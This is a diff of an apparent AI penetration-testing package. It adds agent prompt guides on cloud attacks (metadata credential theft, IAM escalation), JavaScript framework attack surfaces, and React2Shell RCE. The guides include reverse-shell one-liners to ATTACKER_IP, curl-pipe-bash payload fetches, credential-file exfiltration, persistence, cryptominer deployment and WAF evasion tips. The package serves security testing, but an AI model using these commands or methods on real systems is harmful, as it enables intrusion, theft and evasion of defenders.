exaai-agent 2.0.5__py3-none-any.whl → 2.0.8__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,235 @@
1
+ <aws_cloud_security_guide>
2
+ <title>AWS & CLOUD INFRASTRUCTURE SECURITY</title>
3
+
4
+ <critical>Cloud misconfigurations are the #1 cause of data breaches. Focus on IAM, S3, EC2 metadata, Lambda, and inter-service trust relationships. These often provide paths to full infrastructure compromise.</critical>
5
+
6
+ <scope>
7
+ - AWS (EC2, S3, Lambda, IAM, RDS, etc.)
8
+ - Azure (VMs, Blob Storage, Functions, AD)
9
+ - GCP (Compute, Cloud Storage, Cloud Functions)
10
+ - Multi-cloud environments
11
+ - Kubernetes/EKS/AKS/GKE
12
+ </scope>
13
+
14
+ <!-- AWS SPECIFIC -->
15
+ <aws>
16
+ <title>AWS Security Testing</title>
17
+
18
+ <metadata_service>
19
+ EC2 Instance Metadata (IMDS):
20
+ - IMDSv1: http://169.254.169.254/latest/meta-data/
21
+ - IMDSv2: Requires token via PUT request
22
+ - Critical paths:
23
+ - /latest/meta-data/iam/security-credentials/
24
+ - /latest/meta-data/iam/security-credentials/[ROLE_NAME]
25
+ - /latest/user-data
26
+ - /latest/dynamic/instance-identity/document
27
+
28
+ SSRF to Metadata Exploitation:
29
+ 1. Identify SSRF vulnerability
30
+ 2. Request: http://169.254.169.254/latest/meta-data/iam/security-credentials/
31
+ 3. Get role name from response
32
+ 4. Request: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
33
+ 5. Extract AccessKeyId, SecretAccessKey, Token
34
+ 6. Use credentials for AWS API access
35
+ </metadata_service>
36
+
37
+ <s3_attacks>
38
+ S3 Bucket Attacks:
39
+ - Public bucket enumeration
40
+ - Bucket policy misconfiguration
41
+ - ACL misconfigurations
42
+ - Pre-signed URL abuse
43
+ - Object versioning data recovery
44
+
45
+ Testing Commands:
46
+ - aws s3 ls s3://bucket-name --no-sign-request
47
+ - aws s3 cp s3://bucket/file . --no-sign-request
48
+ - Check bucket policies via GET ?policy
49
+ - Test WRITE access: aws s3 cp test.txt s3://bucket/
50
+ </s3_attacks>
51
+
52
+ <iam_attacks>
53
+ IAM Privilege Escalation:
54
+ - CreatePolicyVersion escalation
55
+ - SetDefaultPolicyVersion abuse
56
+ - PassRole with service abuse
57
+ - sts:AssumeRole chaining
58
+ - Lambda execution role abuse
59
+ - EC2 instance profile abuse
60
+
61
+ Enumeration:
62
+ - List attached policies
63
+ - Check inline policies
64
+ - Enumerate role trust policies
65
+ - Map cross-account access
66
+ </iam_attacks>
67
+
68
+ <lambda_attacks>
69
+ Lambda Security:
70
+ - Environment variable secrets
71
+ - IAM role permissions
72
+ - Event injection
73
+ - Code injection via dependencies
74
+ - Layer poisoning
75
+ - Alias/version manipulation
76
+
77
+ Testing:
78
+ - Extract env vars if code access
79
+ - Test event source injection
80
+ - Check for overprivileged roles
81
+ - Review dependencies for vulns
82
+ </lambda_attacks>
83
+ </aws>
84
+
85
+ <!-- AZURE SPECIFIC -->
86
+ <azure>
87
+ <title>Azure Security Testing</title>
88
+
89
+ <metadata_service>
90
+ Azure Instance Metadata Service:
91
+ - Endpoint: http://169.254.169.254/metadata/
92
+ - Requires: Metadata: true header
93
+ - Identity endpoint: /metadata/identity/oauth2/token
94
+
95
+ Get Access Token:
96
+ GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
97
+ Header: Metadata: true
98
+ </metadata_service>
99
+
100
+ <storage_attacks>
101
+ Azure Blob Storage:
102
+ - Anonymous access containers
103
+ - Shared Access Signature (SAS) token abuse
104
+ - Storage account key exposure
105
+ - Blob snapshot access
106
+
107
+ Testing:
108
+ - Check container ACL for public access
109
+ - Test expired SAS tokens
110
+ - Enumerate storage accounts by name
111
+ </storage_attacks>
112
+
113
+ <ad_attacks>
114
+ Azure AD Attacks:
115
+ - Application secret exposure
116
+ - Service principal abuse
117
+ - Managed identity exploitation
118
+ - Conditional access bypass
119
+ - PRT (Primary Refresh Token) theft
120
+ </ad_attacks>
121
+ </azure>
122
+
123
+ <!-- GCP SPECIFIC -->
124
+ <gcp>
125
+ <title>GCP Security Testing</title>
126
+
127
+ <metadata_service>
128
+ GCP Metadata Service:
129
+ - Endpoint: http://metadata.google.internal/
130
+ - Requires: Metadata-Flavor: Google header
131
+
132
+ Key Paths:
133
+ - /computeMetadata/v1/project/project-id
134
+ - /computeMetadata/v1/instance/service-accounts/
135
+ - /computeMetadata/v1/instance/service-accounts/default/token
136
+ - /computeMetadata/v1/instance/attributes/
137
+
138
+ Get Service Account Token:
139
+ GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
140
+ Header: Metadata-Flavor: Google
141
+ </metadata_service>
142
+
143
+ <storage_attacks>
144
+ Cloud Storage Attacks:
145
+ - Bucket ACL misconfiguration
146
+ - Signed URL abuse
147
+ - Object versioning access
148
+ - Bucket policy overwrite
149
+ </storage_attacks>
150
+ </gcp>
151
+
152
+ <!-- KUBERNETES SPECIFIC -->
153
+ <kubernetes>
154
+ <title>Kubernetes Security</title>
155
+
156
+ Attack Surfaces:
157
+ - API server exposure
158
+ - RBAC misconfigurations
159
+ - Service account token abuse
160
+ - Secrets in environment variables
161
+ - Privileged containers
162
+ - Host path mounts
163
+ - Network policy gaps
164
+
165
+ Testing from Pod:
166
+ - cat /var/run/secrets/kubernetes.io/serviceaccount/token
167
+ - Check RBAC: kubectl auth can-i --list
168
+ - Enumerate secrets: kubectl get secrets
169
+ - Check for privileged access
170
+ - Test host network access
171
+
172
+ Lateral Movement:
173
+ - Access other pods via service accounts
174
+ - Escape to node via privileged container
175
+ - Access cloud metadata from pod
176
+ - Pivot to control plane
177
+ </kubernetes>
178
+
179
+ <methodology>
180
+ 1. RECONNAISSANCE
181
+ - Identify cloud provider (AWS/Azure/GCP)
182
+ - Enumerate public resources (S3, blobs)
183
+ - Fingerprint services and regions
184
+ - Find exposed credentials in code
185
+
186
+ 2. INITIAL ACCESS
187
+ - Exploit SSRF to metadata service
188
+ - Use exposed credentials
189
+ - Abuse public storage
190
+ - Exploit misconfigured services
191
+
192
+ 3. CREDENTIAL ACCESS
193
+ - Extract IAM credentials
194
+ - Steal service account tokens
195
+ - Dump secrets from services
196
+
197
+ 4. PRIVILEGE ESCALATION
198
+ - IAM policy abuse
199
+ - Role chaining
200
+ - Service exploitation
201
+
202
+ 5. LATERAL MOVEMENT
203
+ - Cross-account access
204
+ - Service-to-service trust
205
+ - Kubernetes pod hopping
206
+
207
+ 6. DATA EXFILTRATION
208
+ - S3/Blob data access
209
+ - Database extraction
210
+ - Secret retrieval
211
+ </methodology>
212
+
213
+ <validation>
214
+ 1. Show credential extraction with exact endpoints
215
+ 2. Demonstrate API access with stolen credentials
216
+ 3. Document privilege escalation path
217
+ 4. Provide remediation per service
218
+ 5. Test with minimal impact
219
+ </validation>
220
+
221
+ <pro_tips>
222
+ 1. Always check for SSRF to metadata - it's often the entry point
223
+ 2. IMDSv2 isn't foolproof - check for header injection
224
+ 3. Temporary credentials expire - act fast
225
+ 4. S3 bucket names are globally unique - enumerate aggressively
226
+ 5. Check for cross-account roles and trust policies
227
+ 6. Lambda environment variables often contain secrets
228
+ 7. Kubernetes RBAC is commonly over-permissioned
229
+ 8. Storage public access settings change frequently
230
+ 9. Look for hardcoded AWS keys in GitHub/public repos
231
+ 10. Cloud CLI tools often cache credentials insecurely
232
+ </pro_tips>
233
+
234
+ <remember>Cloud security failures cascade. One misconfigured IAM role or S3 bucket can lead to complete infrastructure compromise. Enumerate all trust relationships and test each privilege boundary.</remember>
235
+ </aws_cloud_security_guide>
@@ -0,0 +1,194 @@
1
+ <modern_frameworks_guide>
2
+ <title>MODERN JAVASCRIPT FRAMEWORK SECURITY</title>
3
+
4
+ <critical>Modern JS frameworks introduce new attack surfaces through server-side rendering, hydration, server components, and edge functions. Each framework has unique security boundaries that differ from traditional web applications.</critical>
5
+
6
+ <scope>
7
+ - Next.js (React SSR/RSC)
8
+ - Nuxt.js (Vue SSR)
9
+ - SvelteKit
10
+ - Remix
11
+ - Astro
12
+ - Fresh (Deno)
13
+ - Qwik
14
+ - SolidStart
15
+ </scope>
16
+
17
+ <!-- NEXT.JS SECURITY -->
18
+ <nextjs>
19
+ <title>Next.js Security Testing</title>
20
+
21
+ Attack Surfaces:
22
+ - Server Components (_actions, RSC payloads)
23
+ - API Routes (/api/*, edge functions)
24
+ - Middleware (authentication bypass)
25
+ - Static file paths (/_next/static, source maps)
26
+ - Image optimization (/next/image)
27
+ - Dynamic routes ([param] paths)
28
+
29
+ Known Vulnerability Patterns:
30
+ 1. React2Shell (CVE-2025-55182) - RSC deserialization RCE
31
+ 2. Server Actions injection
32
+ 3. Middleware authentication bypass
33
+ 4. SSRF via image optimization
34
+ 5. Path traversal in static assets
35
+ 6. Environment variable leakage
36
+ 7. Source code exposure via source maps
37
+
38
+ Testing Methodology:
39
+ - Identify App Router vs Pages Router
40
+ - Enumerate all API routes
41
+ - Test server actions for injection
42
+ - Check middleware logic for bypasses
43
+ - Review getServerSideProps/getStaticProps for SSRF
44
+ - Test image optimization URL parameter
45
+ - Look for exposed .next/server files
46
+ </nextjs>
47
+
48
+ <!-- NUXT.JS SECURITY -->
49
+ <nuxt>
50
+ <title>Nuxt.js Security Testing</title>
51
+
52
+ Attack Surfaces:
53
+ - Server routes (/api/*, /server/)
54
+ - Nitro engine handlers
55
+ - Middleware execution order
56
+ - Static file generation
57
+ - Plugin execution order
58
+ - Payload extraction
59
+
60
+ Vulnerability Patterns:
61
+ 1. Server route injection
62
+ 2. Nitro preset-specific issues
63
+ 3. useAsyncData/useFetch SSRF
64
+ 4. Middleware bypass via route ordering
65
+ 5. Auto-import security issues
66
+ 6. Payload prototype pollution
67
+
68
+ Testing Focus:
69
+ - Enumerate server routes
70
+ - Test useAsyncData with controlled URLs
71
+ - Check for exposed __nuxt.config
72
+ - Review middleware chain for gaps
73
+ - Test content-type switching attacks
74
+ </nuxt>
75
+
76
+ <!-- SVELTEKIT SECURITY -->
77
+ <sveltekit>
78
+ <title>SvelteKit Security Testing</title>
79
+
80
+ Attack Surfaces:
81
+ - Form actions (+page.server.js/ts)
82
+ - Load functions (server-side)
83
+ - Hooks (handle, handleError)
84
+ - Endpoints (+server.js/ts)
85
+ - Prerender paths
86
+
87
+ Vulnerability Patterns:
88
+ 1. Form action injection
89
+ 2. Load function SSRF
90
+ 3. Hook authentication bypass
91
+ 4. Endpoint parameter injection
92
+ 5. Adapter-specific issues (node, vercel, etc.)
93
+
94
+ Testing Focus:
95
+ - Map all +page.server and +server files
96
+ - Test form action parameters
97
+ - Check load function URL handling
98
+ - Review hooks for auth logic flaws
99
+ - Test adapter-specific behaviors
100
+ </sveltekit>
101
+
102
+ <!-- REMIX SECURITY -->
103
+ <remix>
104
+ <title>Remix Security Testing</title>
105
+
106
+ Attack Surfaces:
107
+ - Loader functions
108
+ - Action functions
109
+ - Route parameters
110
+ - Form handling
111
+ - Session management
112
+ - Error boundaries
113
+
114
+ Vulnerability Patterns:
115
+ 1. Loader SSRF
116
+ 2. Action function injection
117
+ 3. Session cookie manipulation
118
+ 4. Route parameter injection
119
+ 5. Cross-route data leakage
120
+
121
+ Testing Focus:
122
+ - Enumerate all route modules
123
+ - Test loader URL parameters for SSRF
124
+ - Check action form handling
125
+ - Review session implementation
126
+ - Test error boundary information exposure
127
+ </remix>
128
+
129
+ <common_patterns>
130
+ Universal Vulnerabilities Across Frameworks:
131
+ 1. HYDRATION ATTACKS
132
+ - Inject scripts that execute client-side post-hydration
133
+ - Prototype pollution via serialized state
134
+ - XSS via initial server state
135
+
136
+ 2. SSR INJECTION
137
+ - Template injection in server-rendered content
138
+ - SSTI through framework-specific syntax
139
+ - HTML injection before hydration
140
+
141
+ 3. ROUTE MANIPULATION
142
+ - Parameter pollution across route boundaries
143
+ - Dynamic route injection
144
+ - Catch-all route abuse
145
+
146
+ 4. API ROUTE BYPASS
147
+ - Direct API access without middleware
148
+ - CORS misconfiguration
149
+ - Authentication middleware ordering issues
150
+
151
+ 5. BUILD/DEPLOY EXPOSURE
152
+ - Source maps in production
153
+ - Environment variables in client bundle
154
+ - Debug endpoints enabled
155
+ </common_patterns>
156
+
157
+ <detection>
158
+ Framework Fingerprinting:
159
+ - Next.js: /_next/static, x-nextjs-* headers
160
+ - Nuxt.js: /_nuxt/, __NUXT__ variable
161
+ - SvelteKit: _svelte_kit/, .svelte-kit paths
162
+ - Remix: __remix-assets, _remix headers
163
+ - Astro: /_astro/, astro islands
164
+
165
+ Version Detection:
166
+ - Check /_next/static/chunks/webpack-*.js for Next.js version
167
+ - Review meta generator tags
168
+ - Analyze bundle structure and naming
169
+ - Check error page formatting
170
+ </detection>
171
+
172
+ <validation>
173
+ 1. Confirm framework and exact version
174
+ 2. Map all server-side entry points
175
+ 3. Test each pattern systematically
176
+ 4. Provide framework-specific PoCs
177
+ 5. Document remediation per framework
178
+ </validation>
179
+
180
+ <pro_tips>
181
+ 1. Each framework has different server/client boundaries - understand them
182
+ 2. Edge functions have different capabilities than Node.js functions
183
+ 3. Development mode often exposes more than production
184
+ 4. Check build configuration for security misconfigurations
185
+ 5. Framework version upgrades often introduce new attack surfaces
186
+ 6. ISR/SSG pages may cache sensitive data inappropriately
187
+ 7. Authentication should happen in middleware, not individual routes
188
+ 8. Always test both direct API access and through UI
189
+ 9. Check for framework-specific debugging endpoints
190
+ 10. Serialization boundaries are common injection points
191
+ </pro_tips>
192
+
193
+ <remember>Modern frameworks abstract complexity but don't eliminate security concerns. Each layer (SSR, hydration, API, edge) introduces potential vulnerabilities. Test the boundaries between server and client thoroughly.</remember>
194
+ </modern_frameworks_guide>
@@ -0,0 +1,187 @@
1
+ <react2shell_guide>
2
+ <title>REACT2SHELL - RSC DESERIALIZATION RCE</title>
3
+
4
+ <critical>CVE-2025-55182: Critical unauthenticated Remote Code Execution via React Server Components (RSC) Flight protocol. CVSS 10.0. Actively exploited by APT groups including China-nexus actors. Affects React 19.x and Next.js 15.x/16.x with App Router.</critical>
5
+
6
+ <scope>
7
+ - React 19.x (before 19.0.1, 19.1.2, 19.2.1)
8
+ - Next.js 15.x/16.x with App Router
9
+ - Vite RSC plugin
10
+ - Parcel RSC plugin
11
+ - React Router RSC preview
12
+ - RedwoodSDK
13
+ - Waku framework
14
+ - Any framework implementing RSC Flight protocol
15
+ </scope>
16
+
17
+ <vulnerability_details>
18
+ The vulnerability exists in the React Server Components (RSC) "Flight" protocol deserialization process. When a server processes attacker-controlled RSC payloads without sufficient validation, it becomes possible to execute arbitrary JavaScript code on the server.
19
+
20
+ Key characteristics:
21
+ - No authentication required
22
+ - No user interaction needed
23
+ - No elevated permissions required
24
+ - Single HTTP request is sufficient for exploitation
25
+ - Payload processed BEFORE application authentication logic
26
+ </vulnerability_details>
27
+
28
+ <exploit_technique>
29
+ The React2Shell exploit leverages JavaScript duck-typing and dynamic code execution through a four-stage attack:
30
+
31
+ 1. SELF-REFERENCE LOOP CREATION
32
+ - Create a self-referential loop in the RSC payload
33
+ - Abuse JavaScript object property resolution
34
+
35
+ 2. ATTACKER CODE INVOCATION
36
+ - Trick JavaScript runtime into calling attacker-controlled code
37
+ - Leverage prototype chain manipulation
38
+
39
+ 3. MALICIOUS DATA INJECTION
40
+ - Inject malicious data for initialization
41
+ - Exploit deserialization to instantiate objects
42
+
43
+ 4. ARBITRARY CODE EXECUTION
44
+ - Execute code via Blob Handler
45
+ - Achieve RCE through Flight protocol processing
46
+ </exploit_technique>
47
+
48
+ <detection>
49
+ Identify vulnerable targets:
50
+ - Look for Next.js App Router indicators (/_next/static, RSC headers)
51
+ - Check for React 19.x version disclosure
52
+ - Identify RSC endpoints responding to Flight protocol
53
+ - Look for x-nextjs-* headers or similar framework indicators
54
+ - Check for /_actions endpoints (Server Actions)
55
+
56
+ Vulnerable indicators:
57
+ - Applications using "use server" directives
58
+ - Next.js apps with app/ directory structure
59
+ - React applications with Server Components enabled
60
+ - Any endpoint accepting RSC Flight payloads
61
+ </detection>
62
+
63
+ <exploitation_payloads>
64
+ System Information Gathering:
65
+ - Execute: uname -a, whoami, hostname, id
66
+ - Read: /etc/passwd, /etc/shadow (if root)
67
+ - Enumerate: environment variables, AWS credentials
68
+
69
+ Reverse Shell Examples:
70
+ - bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
71
+ - python -c 'import socket,subprocess,os;...'
72
+ - curl ATTACKER_SERVER/shell.sh | bash
73
+
74
+ Data Exfiltration Targets:
75
+ - AWS config files: ~/.aws/credentials, ~/.aws/config
76
+ - Environment variables: process.env export
77
+ - Application secrets: .env files, config.js
78
+
79
+ Post-Exploitation:
80
+ - Install SSH keys for persistence
81
+ - Create systemd services for persistence
82
+ - Deploy cryptominers (XMRig observed in wild)
83
+ - Deploy backdoors (PeerBlight, CowTunnel, ZinFoq)
84
+ - Deploy Cobalt Strike/Sliver beacons
85
+ </exploitation_payloads>
86
+
87
+ <methodology>
88
+ 1. RECONNAISSANCE
89
+ - Identify React/Next.js applications
90
+ - Detect RSC endpoint locations
91
+ - Fingerprint framework version
92
+ - Map server functions and actions
93
+
94
+ 2. VULNERABILITY CONFIRMATION
95
+ - Send crafted Flight protocol payload
96
+ - Check for deserialization behavior
97
+ - Confirm RCE capability with safe command (sleep, DNS lookup)
98
+
99
+ 3. EXPLOITATION
100
+ - Develop appropriate payload for target OS
101
+ - Execute code to gain initial access
102
+ - Establish persistence if authorized
103
+
104
+ 4. POST-EXPLOITATION
105
+ - Enumerate internal network
106
+ - Access cloud metadata endpoints
107
+ - Exfiltrate sensitive data
108
+ - Pivot to internal systems
109
+
110
+ 5. REPORTING
111
+ - Document affected versions
112
+ - Provide PoC requests
113
+ - Detail impact assessment
114
+ - Recommend immediate patching
115
+ </methodology>
116
+
117
+ <related_cves>
118
+ - CVE-2025-55182: Critical RCE (CVSS 10.0)
119
+ - CVE-2025-55184: DoS via RSC (High severity)
120
+ - CVE-2025-55183: Source Code Exposure (Medium severity)
121
+ - CVE-2025-67779: Incomplete DoS fix
122
+ </related_cves>
123
+
124
+ <waf_bypass_techniques>
125
+ - Fragment payloads across multiple requests
126
+ - Use encoding variations (base64, hex, unicode)
127
+ - Leverage HTTP parameter pollution
128
+ - Send via WebSocket upgrade if available
129
+ - Use chunked transfer encoding
130
+ - Obfuscate JavaScript constructs in payload
131
+ </waf_bypass_techniques>
132
+
133
+ <validation>
134
+ 1. Confirm React/Next.js version is vulnerable
135
+ 2. Demonstrate code execution with harmless payload
136
+ 3. Show clear request/response with exploit
137
+ 4. Provide version-specific PoC
138
+ 5. Test in local environment before production testing
139
+ </validation>
140
+
141
+ <false_positives>
142
+ - Next.js Pages Router (not affected, only App Router)
143
+ - React versions before 19.x
144
+ - Properly patched versions
145
+ - Applications without RSC endpoints
146
+ - Static-only Next.js deployments
147
+ </false_positives>
148
+
149
+ <impact>
150
+ - CRITICAL: Unauthenticated Remote Code Execution
151
+ - Full server compromise
152
+ - Data exfiltration and manipulation
153
+ - Lateral movement to internal networks
154
+ - Cloud infrastructure compromise (AWS/GCP/Azure)
155
+ - Supply chain attacks via modified deployments
156
+ </impact>
157
+
158
+ <remediation>
159
+ IMMEDIATE ACTIONS:
160
+ 1. Update React to 19.0.1, 19.1.2, or 19.2.1+
161
+ 2. Update Next.js to latest patched version
162
+ 3. Apply Cloudflare/WAF rules for RSC payload detection
163
+ 4. Monitor for exploitation attempts
164
+ 5. Review server logs for suspicious RSC requests
165
+
166
+ LONG-TERM:
167
+ - Implement input validation on all RSC endpoints
168
+ - Enable runtime security monitoring
169
+ - Deploy web application firewall with RSC rules
170
+ - Regular security assessments
171
+ </remediation>
172
+
173
+ <pro_tips>
174
+ 1. Start with version fingerprinting - exploitation depends heavily on exact version
175
+ 2. Use DNS/OAST callbacks for blind confirmation before noisy payloads
176
+ 3. Target development/staging environments before production
177
+ 4. Check for cloud metadata accessibility (169.254.169.254)
178
+ 5. Enumerate all RSC endpoints - some may have weaker protections
179
+ 6. Monitor for published PoCs and adapt payloads
180
+ 7. This vuln bypasses auth - test unauthorized access paths
181
+ 8. Check for rate limiting that might block exploitation
182
+ 9. Some WAFs detect known payloads - use custom encoding
183
+ 10. Document exact version info - patches may introduce new CVEs
184
+ </pro_tips>
185
+
186
+ <remember>React2Shell represents a critical class of server-side JavaScript deserialization vulnerabilities. Applications using React Server Components require immediate assessment, regardless of whether they explicitly use server functions. The pre-auth nature makes this exceptionally dangerous for internet-facing applications.</remember>
187
+ </react2shell_guide>
@@ -26,6 +26,37 @@ from .waf_bypass import (
26
26
  detect_waf,
27
27
  generate_bypasses,
28
28
  )
29
+ from .smart_fuzzer import (
30
+ get_smart_fuzzer,
31
+ SmartFuzzer,
32
+ ParamType,
33
+ VulnCategory,
34
+ FuzzPayload,
35
+ fuzz_parameter,
36
+ )
37
+ from .response_analyzer import (
38
+ get_response_analyzer,
39
+ ResponseAnalyzer,
40
+ DetectionType,
41
+ Detection,
42
+ analyze_response,
43
+ )
44
+ from .vuln_validator import (
45
+ get_vuln_validator,
46
+ VulnValidator,
47
+ VulnStatus,
48
+ Severity,
49
+ VulnerabilityReport,
50
+ create_vuln_report,
51
+ )
52
+ from .tool_prompts import (
53
+ get_fuzzer_prompt,
54
+ get_analyzer_prompt,
55
+ get_validator_prompt,
56
+ get_waf_bypass_prompt,
57
+ get_security_testing_prompt,
58
+ get_all_tool_prompts,
59
+ )
29
60
 
30
61
 
31
62
  SANDBOX_MODE = os.getenv("EXAAI_SANDBOX_MODE", "false").lower() == "true"
@@ -76,4 +107,31 @@ __all__ = [
76
107
  "WAFType",
77
108
  "detect_waf",
78
109
  "generate_bypasses",
110
+ # Smart Fuzzer
111
+ "get_smart_fuzzer",
112
+ "SmartFuzzer",
113
+ "ParamType",
114
+ "VulnCategory",
115
+ "FuzzPayload",
116
+ "fuzz_parameter",
117
+ # Response Analyzer
118
+ "get_response_analyzer",
119
+ "ResponseAnalyzer",
120
+ "DetectionType",
121
+ "Detection",
122
+ "analyze_response",
123
+ # Vulnerability Validator
124
+ "get_vuln_validator",
125
+ "VulnValidator",
126
+ "VulnStatus",
127
+ "Severity",
128
+ "VulnerabilityReport",
129
+ "create_vuln_report",
130
+ # Tool Prompts
131
+ "get_fuzzer_prompt",
132
+ "get_analyzer_prompt",
133
+ "get_validator_prompt",
134
+ "get_waf_bypass_prompt",
135
+ "get_security_testing_prompt",
136
+ "get_all_tool_prompts",
79
137
  ]